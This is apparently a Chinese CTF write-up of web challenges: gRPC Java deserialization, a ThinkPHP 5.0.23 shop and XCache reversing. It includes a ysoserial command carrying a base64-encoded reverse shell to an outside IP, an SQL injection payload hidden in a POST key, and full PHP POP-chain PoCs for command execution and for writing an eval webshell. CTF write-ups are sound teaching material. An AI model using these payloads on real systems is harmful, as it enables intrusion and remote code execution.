前言
果然,还是什么都做不到吗。。。
一题都没出,web全靠巨魔发力了
WM的wp:https://blog.wm-team.cn/index.php/archives/69/
大头哥的wp:https://www.yuque.com/dat0u/ctf/vspr1g8x58cwuc9a
Web
happygame(复现)
grpc + cc6
我怎么连题目都进不去
这题要用到grpc来连接
grpcurl:https://github.com/fullstorydev/grpcurl
grpcui:https://github.com/fullstorydev/grpcui
先grpcurl探测一下:
grpcurl 8.147.133.95:32106 list
grpcurl -plaintext 8.147.133.95:32106 list
grpcurl -plaintext 8.147.133.95:32106 list helloworld.Greeter
总共两个交互方法ProcessMsg和SayHello
然后用grpcui连接
grpcui -plaintext 8.147.133.95:32106
可以看到在ProcessMsg这里的请求体里面字段名为serializeData,猜测框架是java,要进行java反序列化
测试一下发现是cc6的链子
生成反弹shell的payload:
java -jar ysoserial-all.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTUuMjM2LjE1My4xNzAvNTc3NDYgMD4mMQ==}|{base64,-d}|{bash,-i}" > data.txt
base64 data.txt
注意传入json的时候要把换行都去掉
执行,返回Hello World,此时就弹shell成功了
thinkshop(复现)
tp5
thinkphp框架,拿到附件解压,按照readme的要求起docker
docker load < thinkshop.tar
docker run -tid --name thinkshop -p 36000:80 -e FLAG=flag{test_flag} thinkshop
既然有本地环境了那我们就审一下
随便访问个不存在的路径弄出报错,发现版本是5.0.23
先看看几个sql文件
找到admin的数据,得到username和password(somd5解一下是123456)
接下来一般就是直接访问 /public/index.php/index/Admin/login 进行登录
但这里逆天的是登录时的username不是admin
回来看下Admin.php的 do_login 登录验证
从admin表里查询数据,将密码做md5之后做比对,比对成功之后鉴权成功
但是这里需要注意的是:传入的username直接放到了 find 方法的参数中,而在大多数情况下,我们调用find
方法时都是无参调用(参考官方手册)
在find有参数的情况下,默认会去找数据表中的主键列,而这里的admin明显在第一列
所以使用1、123456登录到后台即可
进后台之后就是思考怎么rce了
发现good_edit页这里存在反序列化入口
会对数据库中的data进行反序列化,tp5.0.23有对应的链子可以打rce
接下来找找怎么控制这个$goods['data']
因为是在 goods_edit 页面进行反序列化的,我们直接看一下do_edit
方法
public function do_edit()
{
if(!session('?admin'))
{
$this->error('请先登录','index/admin/login');
}
$goodsModel = new Goods();
$data = input('post.');
$result = $goodsModel->saveGoods($data);
if ($result) {
$this->success('商品信息更新成功', 'index/index/index');
} else {
$this->error('商品信息更新失败');
}
}
POST体里的所有数据都会交给saveGoods处理,既然调用了saveGoods,那么跟进到 Goods.php 的 saveGoods 方法
public function saveGoods($data)
{
$data['data'] = base64_encode(serialize($this->markdownToArray($data['data'])));
return $this->save($data);
}
接下来跟进到 save 方法
public function save($data){
$update = new Update();
return $update->updatedata($data , 'goods' , $data['id']);
}
注意,在这个过程中,$data这个数组都是完全可控的
继续跟进到 Update.php 的 updatedata 方法
注意到这里的$key没做任何过滤,我们的数组的键和值都是完全可控的,因此存在sql注入,注入点在post请求的键名
那么注入的payload为(注意=
进行url编码,空格为了防止被php解析成_
需要用/**/
替代)
data`%3Dunhex('十六进制数据')/**/where/**/id%3D1/**/or/**/6%3D6#=1
然后找一条5.0的链子poc改改
<?php
namespace think\process\pipes{
use think\model\Pivot;
ini_set('display_errors',1);
class Windows{
private $files = [];
public function __construct($function,$parameter)
{
$this->files = [new Pivot($function,$parameter)];
}
}
$a = array(new Windows('system','ls /'));
echo bin2hex(base64_encode(serialize($a)));
}
namespace think{
abstract class Model
{}
}
namespace think\model{
use think\Model;
use think\console\Output;
class Pivot extends Model
{
protected $append = [];
protected $error;
public $parent;
public function __construct($function,$parameter)
{
$this->append['jelly'] = 'getError';
$this->error = new relation\BelongsTo($function,$parameter);
$this->parent = new Output($function,$parameter);
}
}
abstract class Relation
{}
}
namespace think\model\relation{
use think\db\Query;
use think\model\Relation;
abstract class OneToOne extends Relation
{}
class BelongsTo extends OneToOne
{
protected $selfRelation;
protected $query;
protected $bindAttr = [];
public function __construct($function,$parameter)
{
$this->selfRelation = false;
$this->query = new Query($function,$parameter);
$this->bindAttr = [''];
}
}
}
namespace think\db{
use think\console\Output;
class Query
{
protected $model;
public function __construct($function,$parameter)
{
$this->model = new Output($function,$parameter);
}
}
}
namespace think\console{
use think\session\driver\Memcache;
class Output
{
protected $styles = [];
private $handle;
public function __construct($function,$parameter)
{
$this->styles = ['getAttr'];
$this->handle = new Memcache($function,$parameter);
}
}
}
namespace think\session\driver{
use think\cache\driver\Memcached;
class Memcache
{
protected $handler = null;
protected $config = [
'expire' => '',
'session_name' => '',
];
public function __construct($function,$parameter)
{
$this->handler = new Memcached($function,$parameter);
}
}
}
namespace think\cache\driver{
use think\Request;
class Memcached
{
protected $handler;
protected $options = [];
protected $tag;
public function __construct($function,$parameter)
{
// pop链中需要prefix存在,否则报错
$this->options = ['prefix' => 'jelly/'];
$this->tag = true;
$this->handler = new Request($function,$parameter);
}
}
}
namespace think{
class Request
{
protected $get = [];
protected $filter;
public function __construct($function,$parameter)
{
$this->filter = $function;
$this->get = ["jelly"=>$parameter];
}
}
}
在/public/index.php/index/admin/do_edit.html打入payload
写webshell的poc(by boogipop)
<?php
namespace think\cache\driver;
class File {
protected $options = [];
protected $tag;
public function __construct() {
$this->tag = 'xige';
$this->options = [
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/write=string.rot13/resource=static/<?cuc @riny($_TRG[\'n\']); ?>', // 因为 static 目录有写权限
'data_compress' => false
];
}
}
namespace think\session\driver;
use think\cache\driver\File;
class Memcached {
protected $handler;
function __construct() {
$this->handler=new File();
}
}
namespace think\console;
use think\session\driver\Memcached;
class Output {
protected $styles = [];
private $handle;
function __construct() {
$this->styles = ["getAttr", 'info',
'error',
'comment',
'question',
'highlight',
'warning'];
$this->handle = new Memcached();
}
}
namespace think\db;
use think\console\Output;
class Query {
protected $model;
function __construct() {
$this->model = new Output();
}
}
namespace think\model\relation;
use think\console\Output;
use think\db\Query;
class HasOne {
public $model;
protected $selfRelation;
protected $parent;
protected $query;
protected $bindAttr = [];
public function __construct() {
$this->query = new Query("xx", 'think\console\Output');
$this->model = false;
$this->selfRelation = false;
$this->bindAttr = ["xx" => "xx"];
}}
namespace think\model;
use think\console\Output;
use think\model\relation\HasOne;
abstract class Model {
}
class Pivot extends Model {
public $parent;
protected $append = [];
protected $data = [];
protected $error;
protected $model;
function __construct() {
$this->parent = new Output();
$this->error = new HasOne();
$this->model = "test";
$this->append = ["test" => "getError"];
$this->data = ["panrent" => "true"];
}
}
namespace think\process\pipes;
use think\model\Pivot;
class Windows {
private $files = [];
public function __construct() {
$this->files=[new Pivot()];
}
}
$obj = new Windows();
$payload = serialize([$obj]);
echo base64_encode($payload);
thinkshopping(未完成)
和前一题的区别在于把 goods_edit.html 中的反序列化入口删掉了
easyphp(未完成)
xcache逆向
???一名优秀的web手应该掌握二进制
这题感觉难得离谱,我居然花了大把时间在上面。。。
给了两个路由
第一个是phpinfo
另一个是challenge.php,需要我们输入一个key就能得到flag
phpinfo那里在Xcache扩展的mmap.path中发现mmap缓存文件能够直接下载下来
拿到ida里面反编译一下看看
然后呢。。。然后我就不知道了。。
工具:https://github.com/Tools2/Zend-Decoder
Zend Guard Loader下载:https://teddysun.com/417.html
本地要起一个和题目一样的php环境
FROM ubuntu:22.04
ENV TZ=Asia/Shanghai \
DEBIAN_FRONTEND=noninteractive
RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.aliyun.com/g" /etc/apt/sources.list && sed -i "s/http:\/\/security.ubuntu.com/http:\/\/mirrors.aliyun.com/g" /etc/apt/sources.list && \
apt update && apt install -y software-properties-common && add-apt-repository ppa:ondrej/php -y && apt install -y php5.6 php5.6-cli
RUN apt install -y php5.6-dev
ADD ./xdebug-2.5.5 /tmp/xdebug
RUN cd /tmp/xdebug \
&& phpize \
&& ./configure --enable-xdebug \
&& make -j$(nproc) \
&& make install \
&& cd /
ADD ./xcache /tmp/xcache
RUN cd /tmp/xcache \
&& phpize \
&& ./configure --enable-xcache --enable-xcache-disassembler \
&& make -j$(nproc) \
&& make install \
&& cd /
COPY xcache.ini /tmp/
COPY challenge.php /var/www/html/
COPY info.php /var/www/html/
RUN cat /tmp/xcache.ini >> /etc/php/5.6/apache2/php.ini && touch /var/www/html/b3debcdfb73572a549ac64da1c830d72 && chmod 777 /var/www/html/b3debcdfb73572a549ac64da1c830d72
# RUN echo 'extension = xcache.so' > /etc/php/5.6/mods-available/xcache.ini
RUN echo 'extension = xcache.so' > /etc/php/5.6/apache2/conf.d/20-xcache.ini
RUN echo 'zend_extension=/usr/lib/php/20131226/xdebug.so' > /etc/php/5.6/apache2/conf.d/99-xdebug.ini
RUN echo '[Xdebug]' >> /etc/php/5.6/apache2/conf.d/99-xdebug.ini
RUN echo 'xdebug.auto_trace=On' >> /etc/php/5.6/apache2/conf.d/99-xdebug.ini
RUN echo 'xdebug.collect_params=1' >> /etc/php/5.6/apache2/conf.d/99-xdebug.ini
RUN echo 'xdebug.collect_return=1' >> /etc/php/5.6/apache2/conf.d/99-xdebug.ini
RUN echo 'xdebug.collect_assignments=1' >> /etc/php/5.6/apache2/conf.d/99-xdebug.ini
RUN echo 'xdebug.collect_vars=1' >> /etc/php/5.6/apache2/conf.d/99-xdebug.ini
RUN ln -sf /proc/self/fd/1 /var/log/apache2/access.log && \
ln -sf /proc/self/fd/1 /var/log/apache2/error.log
CMD apachectl -D FOREGROUND -X
docker run –name dump –network=host –privileged –rm -it -v /tmp/clean_b3_mod:/tmp/clean_b3:ro test1